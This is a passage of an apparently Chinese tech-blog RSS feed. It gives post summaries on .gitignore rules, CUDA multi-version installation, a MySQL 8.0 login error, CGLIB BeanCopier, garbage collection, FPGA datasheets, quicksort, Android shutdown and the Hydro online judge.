忽略任意目录（当前目录即根目录及其子文件夹）下的所有以.txt结尾的文件夹或文件，若是文件夹则该文件夹下的所有内容都会被忽略。/1.txt:忽略根路径下的1.txt的文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略。/*.txt: 忽略根路径下的所有以.txt结尾的文件夹或文件，若是文件夹则该文件夹下的所有内容都会被忽略，不忽略 /pojo/1.txt。pojo:忽略任意目录（当前目录即根目录及其子文件夹）下的pojo文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略。/pojo: 忽略根目录下的pojo文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略。pojo/: 忽略目录 pojo下的全部内容；注意，不管是根目录下的/pojo/目录，还是某个目录下的 /child/pojo/，以及pojo文件夹里面的全部内容都会被忽略，同时忽略pojo文件夹，以pojo命名的文件不会忽略。pojo/*:忽略当前路径下pojo文件夹下的全部内容，pojo文件夹不忽略。/pojo/: 忽略根目录下的pojo文件夹，该文件夹下的所有内容都会被忽略，以pojo命名的文件不会忽略。pojo/1.txt:忽略当前路径下的pojo下的1.txt的文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略，不忽略pojo文件夹。/pojo/1.txt:忽略根目录下的pojo文件下的1.txt的文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略，不忽略pojo文件夹。pojo/*.txt: 忽略当前路径下的pojo文件夹下所有以.txt结尾的文件夹或文件，若是文件夹则该文件夹下的所有内容都会被忽略，不忽略pojo/common/1.txt，不忽略/a/pojo/1.txt，不忽略pojo文件夹。pojo/1.txt/*:忽略当前路径下的pojo文件夹下的1.txt文件夹中的所有文件，1.txt文件夹不忽略。**/pojo: 忽略任意目录下的pojo文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略。/pojo，/pojo/1.txt，/a/pojo，/a/pojo/1.txt，a/b/pojo等。a/**/b: 忽略当前路径下的以a文件夹为开始，中间可以有0个或任意个目录的b文件夹或同名文件，若是文件夹则该文件夹下的所有内容都会被忽略，a/b，a/x/b，a/x/y/b，a/x/y/b/1.txt等。/pojo/*和!/pojo/1.txt: 忽略pojo目录下的所有文件但不忽略pojo目录下的1.txt文件，pojo文件夹不忽略。&#xA;注意上面的/pojo/*不能写为/pojo/，否则父目录被前面的规则排除掉了，1.txt文件虽然加了!过滤规则，也不会生效！ 有三种方法可以实现忽略Git中不想提交的文件。 1、在Git项目中定义 .gitignore 文件（优先级最高，推荐！） 这种方式通过在项目的某个文件夹下定义 .gitignore 文件，在该文件中定义相应的忽略规则，来管理当前文件夹及其子文件夹下的文件的Git提交行为。&#xA;.gitignore 文件是可以提交到公有仓库中，这就为该项目下的所有开发者都共享一套定义好的忽略规则。&#xA;在 .gitingore 文件中，遵循相应的语法，在每一行指定一个忽略规则。如：&#xA;样例一：&#xA;HELP.md target/ !.mvn/wrapper/maven-wrapper.jar !**/src/main/**/target/ !**/src/test/**/target/ ### STS ### .apt_generated .classpath .factorypath .project .settings .springBeans .sts4-cache ### IntelliJ IDEA ### .</description>
    </item>
    <item>
      <title>CUDA Toolkit多版本安装与配置</title>
      <link>https://bchobby.github.io/posts/90b2fa4358f51b3439784cb08de17e3c/</link>
      <pubDate>Fri, 08 Sep 2023 10:33:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90b2fa4358f51b3439784cb08de17e3c/</guid>
      <description>CUDA Toolkit多版本安装目的是为了将CUDA Toolkit支持多个版本，并将当前版本更新到后续支持常见pytorch的版本（即cuda11.6），目前该系统默认安装的是cuda10.2，cuda11.0和cuda11.2。CUDA一般有两种API，一个是驱动API（Driver Version），依赖NVIDIA驱动，由nvidia-smi查看; 另一个是运行API（Runtime Version）是软件运行所需要的，比如python环境需要的cuda api版本等。一般驱动API版本&amp;gt;=运行API版本即可。&#xA;0.cuda版本查询命令&#xA;运行API(runtime api)：nvcc -V&#xA;驱动API(driver api)：nvidia-smi，循环监控：watch -n 1 -d nvidia-smi&#xA;运行环境：&#34;Red Hat Enterprise Linux Server7.5，python3.10，cuda11，torch1.13.1&#xA;1.下载：https://developer.nvidia.com/ 选择对应的版本进行下载&#xA;2.安装：sudo sh cuda_11.6.2_510.47.03_linux.run&#xA;选择accept，只选择CUDA Toolkit 11.6，其他都去掉，选择Install，详见下图&#xA;3.建立cuda的软链接，一般默认安装完成后会自动创建，后续可根据需要进行软连接的调整，比如改为cuda-11.2等等&#xA;进入/usr/local/目录&#xA;sudo rm -rf cuda # 删除之前创建的软链接&#xA;sudo ln -s /usr/local/cuda-11.6/ /usr/local/cuda # 建立新的软链接（指定软链接版本为11.6）&#xA;4.配置PATH，打开.bashrc文件添加如下两行&#xA;export PATH=&#34;/usr/local/cuda/bin:/root/anaconda3/bin:$PATH&#34;&#xA;export LD_LIBRARY_PATH=&#34;/usr/local/cuda/extras/CUPTI/lib64:/usr/local/cuda/lib64:$LD_LIBRARY_PATH&#34;&#xA;5.配置文件生效：source .bashrc</description>
    </item>
    <item>
      <title>MySQL8.0！！！登录失败|ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password</title>
      <link>https://bchobby.github.io/posts/c7574baed98212eddb45f73aae250aff/</link>
      <pubDate>Fri, 08 Sep 2023 10:21:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c7574baed98212eddb45f73aae250aff/</guid>
      <description>还是老规矩，重点直接看黄字，或者直接看第三节解决方案，其他都是废话！！&#xA;运行环境：windows10、mysql8.0.24、cmd用管理员权限运行。&#xA;一、前情提要：&#xA;1、博主找了一份源码，数据库sql文件的编码格式是utf8mb4，然后当时的mysql版本是mysql5.0不支持utf8mb4，于是就开始了卸载旧版本安装新版本（当前最新mysql8.0.24）的历程。&#xA;2、跟着网上的教程一顿操作猛如虎之后，以为安装成功，输入mysql -u root -p，然后输入生成的初始root密码，结果就报错ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: YES)。（如图）&#xA;3、接着我就去收这个error的解决方案，然后网上让我修改my.ini文件的[mysqld]底下加了一句skip-grant-tables，然后再登录就报错：ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061)&#xA;4、然后后面怎么操作都是报这个error2003的错误！&#xA;！！！好家伙，如果你目前的情况跟我一样，首先，你先在cmd里面输入命令net start mysql，这里显示启动成功，然后打开“服务”，发现mysql服务根本就没有启动！！！！！ orz！！！！万恶之源！！！解决了一上午终于被我找到原因了！！&#xA;好的，如果以上都是一样，那么你的情况与我相同，一下解决方案对你来说有效，可以接着往下跟着操作就好了。除给出解决方案以外，我还会解释报错的原因和解释。&#xA;二、报错原因&#xA;首先感谢博主：博文链接&#xA;1、首先报错：无权限错误&#xA;ERROR 1045 (28000): Access denied for user ‘root‘@‘localhost‘ (using password: YES)&#xA;【翻译：拒绝用户“root”@“localhost”的访问（使用密码：是）】&#xA;原因：root没有使用权限&#xA;常规解决方案：也就是在my.ini中加那一句skip-grant-tables；但是这个方法用过之后不仅没有解决问题，mysql服务也无法正常打开！通过查询解决方案后，发现这个方法对于mysql8.0以上版本并不适用，需要另一种解决方案。&#xA;正确解决方案：见下一小节。&#xA;2、报错：mysql服务未启动错误&#xA;ERROR 2003 (HY000): Can’t connect to MySQL server on ‘localhost’ (10061)&#xA;【翻译：错误2003（HY000）：无法连接到“localhost”上的MySQL服务器（10061）】&#xA;也就是mysql服务没有打开&#xA;原因：试了之后发现把上一步加进my.ini里面的那句skip-grant-tables删掉就不会报这个错了，mysql服务也能正常打开，所以产生这个报错的原因就是上一步的操作影响。&#xA;正确解决方案：见下一小节。</description>
    </item>
    <item>
      <title>Spring学习笔记（二）【CGLIB浅拷贝BeanCopier的使用和详解】</title>
      <link>https://bchobby.github.io/posts/bba255392b6a4060d3705f82b4eb6383/</link>
      <pubDate>Fri, 08 Sep 2023 09:47:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bba255392b6a4060d3705f82b4eb6383/</guid>
      <description>CGLIB浅拷贝BeanCopier的使用和详解 一、bean拷贝工具 bean拷贝工具类比较&#xA;常用的bean拷贝工具类当中，主要有Apache提供的beanUtils、Spring提供的beanUtils、Cglib提供的beanCopier，性能上分析如下表所示（该表来自网上的数据）&#xA;类方法归属单次耗时[ms]100万次耗时[ms]平均耗时[ms]BeanUtilscopyPropertiesApache0.31019630253.1400570.030253BeanUtilscopyPropertiesSpring0.0720822155.7443780.002155BeanCopiercopyCglib0.00507158.4152010.000058 上表当中可以发现三者性能：cglib &amp;gt; spring &amp;gt; hutool&#xA;本次所讲的内容是关于BeanCopier类的使用，当我们需要拷贝大量的数据，使用这个是最快的，而对于拷贝少量对象时，和其它的拷贝工具类速度也差不多，现在CGLIB也并入Spring，所以在Spring项目中可以直接使用它，不需要添加其他maven&#xA;原依赖 &amp;lt;!-- https://mvnrepository.com/artifact/cglib/cglib --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;cglib&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;cglib&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 优点：&#xA;拷贝速度快 缺点：&#xA;无法实现null字段跳过每次使用都需要调用create函数，如果上述实验把create放到循环里，结果会变成5s无法实现复杂类型的拷贝（如List） 在使用他的时候，我们需要先创建一个BeanCopier对象，源代码如下&#xA;public static BeanCopier create(Class source, Class target, boolean useConverter) { Generator gen = new Generator(); gen.setSource(source); gen.setTarget(target); gen.setUseConverter(useConverter); return gen.create(); } create函数参数解析：&#xA;第一个参数source：需要拷贝的对象第二个参数target：拷贝后的目标对象类型第三个参数useConverter：用户控制转换器，是否使用自定义的转换器 useConverter控制权限转换：&#xA;这个是用户控制转换器，如果设置为false，它会对拷贝的对象和被拷贝的对象的类型进行判断，如果类型不同就不会拷贝，如果要使他会拷贝，就需要设置为true，自己拿到控制权对其进行处理，一般情况下使用的都是false&#xA;二、自定义转换器演示 首先我们有两个类，属性都相同，但有一个类中其中一个属性类型与另外一个类对应的属性类型不一致，情况如下&#xA;@Data public class User { private String username; private Integer password; } @Data public class UserDTO { private String username; private String password; } 执行代码 User user = new User(); user.</description>
    </item>
    <item>
      <title>【计算机基础知识7】垃圾回收机制与内存泄漏</title>
      <link>https://bchobby.github.io/posts/28b90ca8d90cb691cb5650687508dade/</link>
      <pubDate>Fri, 08 Sep 2023 09:43:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/28b90ca8d90cb691cb5650687508dade/</guid>
      <description>目录&#xA;前言 一、垃圾回收机制的工作原理&#xA;1. 标记-清除算法的基本原理&#xA;2. 垃圾回收器的类型及其工作方式&#xA;3. 垃圾回收的回收策略和触发机制&#xA;三、内存泄漏的定义和原因&#xA;1. 内存泄漏的概念和影响&#xA;2. 常见的内存泄漏情况及其原因&#xA;四、如何避免和处理内存泄漏&#xA;1. 使用合适的数据结构和算法&#xA;2. 及时释放资源和关闭连接&#xA;3. 避免循环引用和多余的对象引用&#xA;4. 使用内存泄漏检测工具及测试策略&#xA;五、最佳实践和经验教训&#xA;1. 编写高效、可维护和无内存泄漏的代码的最佳实践&#xA;2. 运维人员应该注意的内存泄漏问题&#xA;六、结论&#xA;前言 垃圾回收机制是编程语言运行时环境的一部分，负责自动管理内存，防止内存泄漏和过度占用内存。其重要性在于，它可以帮助程序员在编写代码时更关注于程序逻辑而不是内存管理，从而提高程序的生产力和质量。垃圾回收机制通过自动回收不再使用的内存，使得内存可以更有效地被重用，避免了内存泄漏的问题。&#xA;内存泄漏可能导致应用程序运行缓慢，甚至崩溃，这会对业务连续性和应用程序的可用性产生负面影响。此外，内存泄漏可能导致系统资源浪费，甚至引发资源枯竭，从而影响整个系统的性能和稳定性。因此，预防和处理内存泄漏是应用程序和系统稳定性至关重要的方面。&#xA;一、垃圾回收机制的工作原理 1. 标记-清除算法的基本原理 标记-清除算法是垃圾回收机制中最基本的一种。这种算法包括两个阶段：标记阶段和清除阶段。&#xA;在标记阶段，垃圾回收器会遍历程序的所有对象，找出所有可达的对象，并给它们打上标记；在清除阶段，垃圾回收器会遍历所有对象，把没有标记的对象（即不可达对象）进行清理，以释放它们占用的内存。&#xA;2. 垃圾回收器的类型及其工作方式 增量式垃圾回收器：这种垃圾回收器在应用程序运行时进行回收工作，不会导致应用程序停顿。它会分批次逐步地回收内存，从而避免了一次性大量回收带来的性能问题。&#xA;分代式垃圾回收器：这种垃圾回收器基于这样一个观察：大多数对象很快就会变得不可达，而少数对象则需要更长时间才能变得不可达。分代式垃圾回收器将系统中的所有对象分为新生代和老年代两个区域。在新生代中，刚刚创建的对象会被放置在这里，而老年代则存储长时间存在的对象。一旦新生代中的对象经过一定次数的引用后仍然存在，就会将其移动到老年代中。这种方式的优点是可以更有效地发现并清除长时间存在的不可达对象。&#xA;复制式垃圾回收器：这种垃圾回收器将系统中的所有对象分为两个相同的区域，并同时在两个区域中分配内存。一旦其中一个区域的内存被用尽，就会将另一个区域中的所有对象复制到这个区域中，然后清空另一个区域。这种方式的优点是可以避免在标记和清除阶段进行全局扫描，从而提高效率。&#xA;标记-整理算法：这种算法与标记-清除算法类似，但在清除阶段有所不同。标记-整理算法会在清除阶段遍历所有标记的对象，并将它们移动到一端，然后清除它们之间的内存。这种方式的优点是可以避免内存碎片化问题，从而提高内存的使用效率。&#xA;3. 垃圾回收的回收策略和触发机制 引用计数法：这是最基本的垃圾回收策略之一。每个对象都有一个引用计数，每当有一个引用指向该对象时，引用计数就会加一；每当引用被释放时，引用计数就会减一。当引用计数为零时，就说明该对象已经不可达，可以将其回收。&#xA;可达性分析法：这是另一种基本的垃圾回收策略。这种方法通过跟踪程序的执行过程，找出所有可达的对象，并将它们标记为可达状态；然后将所有不可达的对象进行清理。可达性分析法比引用计数法更加复杂，但是它可以发现更多的不可达对象。&#xA;三、内存泄漏的定义和原因 1. 内存泄漏的概念和影响 内存泄漏是指程序在申请内存后，无法释放未再使用的内存空间。内存泄漏可能会导致程序运行缓慢，甚至崩溃，从而影响应用程序和系统的可用性和稳定性。内存泄漏也可能导致系统资源的浪费，甚至引发资源枯竭，从而影响整个系统的性能和稳定性。因此，预防和处理内存泄漏是编程中的重要任务之一。&#xA;2. 常见的内存泄漏情况及其原因 循环引用：循环引用是指两个或多个对象互相引用，而没有被外部访问。由于这些对象互相引用而不被释放，导致内存泄漏问题。例如，两个对象互相引用并且同时持有一个长时间的生命周期，那么这些对象将永远不会被回收，从而导致内存泄漏。&#xA;长生命周期对象持有短生命周期对象的引用：这种情况是指一个长生命周期的对象（如全局变量或静态变量）持有短生命周期对象的引用。由于长生命周期对象的生命周期比短生命周期对象长，因此可能导致短生命周期对象无法被回收，从而造成内存泄漏。&#xA;未正确释放资源或关闭连接：这种情况通常发生在网络编程或文件处理等领域中。例如，当一个网络连接被打开但未正确关闭时，会导致该连接占用的内存无法被释放。&#xA;四、如何避免和处理内存泄漏 1. 使用合适的数据结构和算法 选择合适的数据结构和算法可以有效地减少内存泄漏的发生。了解数据结构和算法的特性，如生命周期、内存占用等，可以帮助程序员更好地管理内存。&#xA;2. 及时释放资源和关闭连接 在程序中，及时释放不再使用的资源，如文件、网络连接等，以避免资源泄漏。同时，对于需要关闭的连接，一定要在不再使用时进行关闭，以便操作系统可以回收相关资源。&#xA;3. 避免循环引用和多余的对象引用 对于可能出现循环引用的场景，应尽量避免。例如，使用弱引用代替强引用，或者使用智能指针等方式，可以有效地解决循环引用的问题。&#xA;4. 使用内存泄漏检测工具及测试策略 使用内存泄漏检测工具可以帮助程序员定位和发现内存泄漏的问题。通过制定合理的测试策略，如内存泄漏检测、压力测试等，可以有效地发现和修复内存泄漏的问题。</description>
    </item>
    <item>
      <title>latex如何写中文</title>
      <link>https://bchobby.github.io/posts/f77f78c6ca0a4e52d482e251d71b8abe/</link>
      <pubDate>Thu, 07 Sep 2023 22:51:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f77f78c6ca0a4e52d482e251d71b8abe/</guid>
      <description> 非常简单 添加一个宏包&#xA;\usepackage{ctex} </description>
    </item>
    <item>
      <title>Failed to configure a DataSource: ‘url‘ attribute is not specified and no embedded datasource could</title>
      <link>https://bchobby.github.io/posts/4b99395b6dcc32c5e39855a2c50443c4/</link>
      <pubDate>Thu, 07 Sep 2023 19:14:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b99395b6dcc32c5e39855a2c50443c4/</guid>
      <description>1.问题描述 在学习springcloud课程中，在连接Nacos配置中心时，把配置文件上传到Nacos后，启动项目报错，springboot项目报错为：Failed to configure a DataSource: &#39;url&#39; attribute is not specified and no embedded datasource could be configured.&#xA;Reason: Failed to determine a suitable driver class&#xA;仔细检查配置文件后发现没有任何配置问题&#xA;报错内容为：配置数据源失败:没有指定&#39;url&#39;属性，无法配置任何嵌入的数据源。&#xA;2.问题分析 这里我使用的cloud版本是2021.0.5,Nacos版本是2021.1.0&#xA;报错原因是新版的SpringCloud默认没有安装bootstrap依赖，因此不能读取项目bootstrap.yml文件内容，间接导致不能读取Nacos配置内容引发的读取不到数据库url报错。&#xA;3.问题解决 添加spring-cloud-starter-bootstrap依赖</description>
    </item>
    <item>
      <title>7系列FPGA数据手册:概述------中文翻译版总体介绍7系列FPGA</title>
      <link>https://bchobby.github.io/posts/fc54dfba6efb9d6b7b1e8cbc06902137/</link>
      <pubDate>Thu, 07 Sep 2023 19:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fc54dfba6efb9d6b7b1e8cbc06902137/</guid>
      <description>7系列FPGA数据手册:概述------中文翻译版 总体介绍7系列FPGA功能摘要Spartan-7系列FPGA功能摘要Artix-7系列FPGA功能摘要Kintex-7系列FPGA功能摘要Virtex-7系列FPGA功能摘要堆叠式硅互联（SSI）技术CLBs, Slices, and LUTs时钟管理 混合模式时钟管理器与锁相环MMCM附加的可编程功能时钟分配 全局时钟线区域时钟I/O时钟Block RAM 同步操作可编程数据宽度错误检测和纠正FIFO控制器Digital Signal Processing---DSP slice输入/输出 I/O电气特性三态数控阻抗和低功耗I/O特性I/O逻辑 输入输出延迟ISERDES和OSERDES低功耗G比特收发器 发送器接收器带外信号传输用于PCI Express设计的集成接口模块配置加密、回读和部分重配置XADC（数模转换器）7 Series FPGA Ordering Information 总体介绍 Xilinx®7系列FPGA包括四个系列（Spartan®,Artix®-7,Kintex®-7,Virtex®-7），能够满足系统全部范围的要求，价格低廉，尺寸小，对成本敏感，超高端的连接带宽，逻辑容量及信号处理能力的大量应用，满足了系统对高性能的要求。7系列的FPGA包括：&#xA;Spartan®-7系列：价格低廉，供电电源低，I/O性能高。可提供低成本，非常小的外形尺寸封装，以实现最小的PCB占地面积。Artix®-7系列：针对需要串行收发器以及高DSP和逻辑吞吐量的低功耗应用进行了优化。为高吞吐量、成本敏感型应用提供最低的总物料成本。Kintex®-7系列：针对最佳性价比进行了优化，与上一代产品相比提高了两倍，支持新一代的FPGA。Virtex®-7系列：针对最高系统性能和容量进行了优化，系统性能提高了两倍。通过硅堆叠技术（SSI）实现的最高性能器件。 7系列FPGA采用最先进的高性能、低功耗（HPL）、28nm、高k金属栅（HKMG）工艺技术，I/O带宽为2.9TB/s，逻辑单元容量为200万个，DSP定点运算性能为5.3TMAC/s，[其中Virtex-7系列的DSP处理能力为5,335 GMAC/s（GMAC/s：每秒10亿次乘加运算）]，实现了无与伦比的性能提升，同时功耗比前一代器件低50%，为ASSP（Application Specific Standard Parts 专用标准产品）和ASIC提供了完全可编程的替代方案。&#xA;7系列FPGA功能摘要 先进的高性能FPGA逻辑，基于可配置为分布式内存的实6输入查找表（LUT）技术；36KB双端口块RAM 内置FIFO逻辑，用于片上数据缓冲；高性能SelectIOTM技术，支持高达1866Mb/s的DDR3接口；内置多千兆收发器实现高速串行连接，最高可达600Mb/s。针对6.6Gb/s至28.05Gb/s的速率，提供特殊的低功耗模式，并对芯片间的接口做了优化。用户可配置模拟接口（XADC），集成12位1Msps带片上热传感器和电源传感器的模数转换器；带有25×18乘法器、48位累加器和前值加法器的DSP片可实现高性能滤波，包括优化的对称系数滤波；强大的时钟管理模块（CMT），结合锁相环（PLL）和混合模式时钟管理器（MMCM），可实现高精度和低抖动；利用MicroBlazeTM处理器快速部署嵌入式处理器；适用于PCI Express®（PCIe）的集成块，最多可支持×8 Gen3端点和根端口设计；多种配置选项，包括支持商用存储器、带HMAV/SHA-256（加密算法）身份验证的256位AES（Advanced Encryption Standard高级加密标准）加密，内置SEU检测和纠正。低成本、线耦合、裸芯倒片封装和高信号完整性倒片封装，可在同一封装系列的产品之间轻松移植。所有封装均提供无铅封装和精选含铅封装选项；专为高性能和低功耗而设计，具有28nm、HKMG、HPL工艺、1.0V核心电压工艺技术和0.9V电压选项，可实现更低功耗。 表1：7系列FPGA比较&#xA;注释：&#xA;以分布式RAM形式提供额外内存。峰值DSP性能是基于对称滤波器实现的。MicroBlaze CPU的峰值性能是基于微控制器预置来实现的。 Spartan-7系列FPGA功能摘要 表2：按型号划分的Spartan-7 FPGA功能摘要&#xA;注释：&#xA;1.每个7系列FPGA包含4个LUT和8个触发器；只有某些片可以将它们的LUT用作分布式RAM或SRL（移位寄存器）。&#xA;2.每个DSP片包括一个前置加法器、一个25×18乘法器、一个加法器和一个累加器。&#xA;3.Block RAM的大小基本上为36KB；每个BRAM也可以用作两个独立的18KB Blocks。&#xA;4.每一个CMT包含一个MMCM和一个PLL。&#xA;5.不包括配置库0。&#xA;表3 Spartan-7 FPGA封装组合及最大I/O数&#xA;注释：&#xA;1.HR=高范围I/O，支持1.2V到3.3V的I/O电压。&#xA;Artix-7系列FPGA功能摘要 表四：按型号划分的Artix-7 FPGA功能摘要&#xA;注释：&#xA;每个7系列FPGA包含4个LUT和8个触发器；只有某些片可以将它们的LUT用作分布式RAM或SRL（移位寄存器）。每个DSP片包括一个前置加法器、一个25×18乘法器、一个加法器和一个累加器。Block RAM的大小基本上为36KB；每个BRAM也可以用作两个独立的18KB Blocks。每一个CMT包含一个MMCM和一个PLL。Artix-7系列FPGA接口块用作PCIe时，最多支持x4 Gen 2。不包括配置库0。此数字不包括GTP收发器。&#xA;表五：Artix-7 FPGA封装组合及最大I/O数&#xA;1.所有列出的封装均为无铅封装（SBG、FBG、FFG、除了15）。一些封装在有铅选项中可用。&#xA;2.FGG484和FBG484引脚兼容。</description>
    </item>
    <item>
      <title>出现Browse information of one xxxx解决方法</title>
      <link>https://bchobby.github.io/posts/d2bf619298d4550a860ca7924c2112f2/</link>
      <pubDate>Thu, 07 Sep 2023 17:40:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2bf619298d4550a860ca7924c2112f2/</guid>
      <description>不良现象如下：&#xA;Browse information of one or more files is not available:&#xA;Doing a project rebuild might fix this.&#xA;解决的方法：将C文件里面的内容全部注释掉，再编译正常。&#xA;然后再将注释掉的代码打开，再次编译就正常了。</description>
    </item>
    <item>
      <title>C&#43;&#43; 一种数组快速排序方法详解</title>
      <link>https://bchobby.github.io/posts/1153da38fd37f20ba242099c5e458792/</link>
      <pubDate>Thu, 07 Sep 2023 15:50:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1153da38fd37f20ba242099c5e458792/</guid>
      <description>一、前言&#xA;（1）分治算法&#xA;快速排序，其实是一种分治算法，那么在了解快速排序之前，我们先来看看什么是分治算法。在算法设计中，我们引入分而治之的策略，称为分治算法，其本质就是将一个大规模的问题分解为若干个规模较小的相同子问题，分而治之。&#xA;（2）分治算法解题方法&#xA;1.分解：&#xA;将要解决的问题分解为若干个规模较小、相互独立、与原问题形式相同的子问题。&#xA;2.治理：&#xA;求解各个子问题。由于各个子问题与原问题形式相同，只是规模较小而已，而当子问题划分得足够小时，就可以用简单的方法解决。&#xA;3.合并：&#xA;按原问题的要求，将子问题的解逐层合并构成原问题的解。&#xA;二、快速排序&#xA;1.问题分析&#xA;快速排序是比较快的排序方法。它的基本思想是通过一组排序将要排序的数据分割成独立的两部分，其中一部分的所有数据都比另外一部分的所有数据小，然后再按此方法对这两部分数据进行快速排序，整个排序过程可以递归进行，以此使所有数据变成有序序列。&#xA;2.算法设计&#xA;（1）分解：&#xA;先从数列中取出一个元素作为基准元素。一基准元素为标准，将问题分解为两个子序列，使小于或者等于基准元素的子序列在左侧，使大于基准元素的子序列在右侧。&#xA;（2）治理 ：&#xA;对两个子序列进行快速排序（递归快速排序）。&#xA;（3）合并：&#xA;将排好的两个子序列合并在一起，得到原问题的解。&#xA;（4）基准元素的选取：&#xA;①：取第一个元素。(通常选取第一个元素)&#xA;②：取最后一个元素&#xA;③：取中间位置的元素&#xA;④：取第一个、最后一个、中间位置元素三者之中位数&#xA;⑤：取第一个和最后一个之间位置的随机数 k (low&amp;lt;=k&amp;lt;=hight)&#xA;3.算法分析&#xA;假设当前的待排序的序列为 R[low,hight] ， 其中 low&amp;lt;=hight。同时选取首元素为基准元素。&#xA;步骤一：选取首元素的第一个元素作为基准元素 pivot=R[low] ，i=low ，j=hight。&#xA;步骤二：从右向左扫描，找到小于等于 pivot 的数，如果找到，R[i] 和 R[j] 交换 ，i++。&#xA;步骤三：从左向右扫描，找到大于 pivot 的数，如果找到，R[i] 和 R[j] 交换，j--。&#xA;步骤四：重复 步骤二~步骤三，直到 j 与 i 的指针重合 返回位置 mid=i ，该位置的数正好是 pivot 元素。&#xA;至此换成一趟排序，此时以 mid 为界线，将数据分割为两个子序列，左侧子序列都比 pivot 数小，右侧子序列都比 pivot 数大，然后再分别对这两个子序列进行快速排序。 下面我将以序列（30，24，5，58，18，36，12，42，39）为例，进行图解。</description>
    </item>
    <item>
      <title>详解Android 关机/重启流程</title>
      <link>https://bchobby.github.io/posts/1e8ab66ac0de574193b0d7cd2c9b932d/</link>
      <pubDate>Thu, 07 Sep 2023 15:10:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e8ab66ac0de574193b0d7cd2c9b932d/</guid>
      <description>本文基于android 10源码分析&#xA;手机长按power键，弹出关机提示对话框，如下图&#xA;一、先来看长按power键执行的流程。&#xA;开机后先注册输入监听事件，长按power键时，kernel层会发出一个事件上来，该事件最终被InputDispatcher.handleReceiveCallback监听到&#xA;frameworks\native\services\inputflinger\InputDispatcher.cpp int InputDispatcher::handleReceiveCallback(int fd, int events, void* data) { InputDispatcher* d = static_cast&amp;lt;InputDispatcher*&amp;gt;(data); { .......... sp&amp;lt;Connection&amp;gt; connection = d-&amp;gt;mConnectionsByFd.valueAt(connectionIndex); if (!(events &amp;amp; (ALOOPER_EVENT_ERROR | ALOOPER_EVENT_HANGUP))) { ....... status_t status; for (;;) { uint32_t seq; bool handled; //收到完成分发的信号才跳出循环 status = connection-&amp;gt;inputPublisher.receiveFinishedSignal(&amp;amp;seq, &amp;amp;handled); if (status) { break; } //完成分发循环 d-&amp;gt;finishDispatchCycleLocked(currentTime, connection, seq, handled); gotOne = true; } ........ } ......... return 0; // remove the callback } // release lock frameworks\native\services\inputflinger\InputDispatcher.</description>
    </item>
    <item>
      <title>Hydro OJ</title>
      <link>https://bchobby.github.io/posts/166deca07bd8c9233d3ff87c8bd1be8e/</link>
      <pubDate>Thu, 07 Sep 2023 13:48:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/166deca07bd8c9233d3ff87c8bd1be8e/</guid>
      <description>Hydro oj首页 引言 随着计算机科学与技术的迅猛发展，程序设计竞赛、算法训练以及编程能力评估等活动越来越受到关注。在这些活动中，一个高效、稳定的在线评测系统是必不可少的。Hydro OJ 就是为满足这一需求而设计的一个出色的在线评测系统。&#xA;1.Hydro OJ 是什么？ HydroOJ 是一个新兴的在线评测系统，目前尚处于发展阶段，正在维护 BZOJ 题库、CCF 真题题库及英文翻译。建站一年来已获得七千注册量、二十万评测量，域功能为数所大学与培训机构提供服务。下面列举其部分特点：&#xA;为开源项目 Hydro 的官方站，由 Hydro 开发组为 HydroOJ 提供技术支持。开源项目 Hydro（又名 vj5）继承了 Vijos(vj4) 的所有功能并进行了大幅度优化、扩展及加强。它支持域，训练计划，多语言页面，多网站主题，在线 IDE 等其他大部分 OJ 所不具备的功能。评测机 HydroJudge 支持子任务依赖，文件IO，子任务单独设置时空限制，多写法 Special Judge，交互，自定义评测脚本等功能。RemoteJudge（远端评测）已支持：Luogu，Codeforces，SPOJ，POJ，UOJ。并仍在不断增加对更多 OJ 平台的支持。通过域功能，用户可基于 HydroOJ 免费搭建一个功能同自建 OJ 几乎无差别的平台。其采用独立数据库，独立判题，完整管理权限，强大的权限组系统，同时可以自由引用官方的公开题目（包括 RemoteJudge 题库）创建比赛，作业和训练计划。由一台高性能实体服务器与三台分布在多国的反向代理服务器提供网站服务，使用腾讯云服务加速国内访问速度，使用 Cloudflare 代理抵抗网络攻击，为用户提供高速安全的网站访问体验。日常评测算力达 16 CPU核心，评测高峰期时启动伸缩组可达最高上百 CPU核心，配合评测优先级系统为用户提供高效稳定的评测服务与在线 IDE 自测服务。现有资金足以支持 HydroOJ 继续运行至少两年。 2.Hydro OJ的历史 在此，我将向大家介绍 Hydro 的前世今生。该项目前前后后耗时两年多，推翻两版设计，最终在逻辑上参考了 vj4 的优秀架构。&#xA;为解决 jd4 仅支持常规题目（无spj，无交互）的严重问题，最早从评测模块入手，创造了 jd5，并一直应用于 http://vijos.org。因站长无精力对新版代码进行完整review，vijos当前采用了 jd4+jd5 的混合评测方案，之后 jd5 改名为 HydroJudge。&#xA;评测模块完工后，咕了一个月，便开工后端主项目 Hydro。由于 Hydro 特色为插件扩展性，且无先例可以参考，因此在插件 API 设计上花费了很多功夫，也走了很多弯路。最终选定基于统一 EventBus 的 hook 方案。在主项目完工后，这时github存储库拥有了约20 star，项目也于 oj.</description>
    </item>
    <item>
      <title>[Android] AndroidManifest.xml 详解</title>
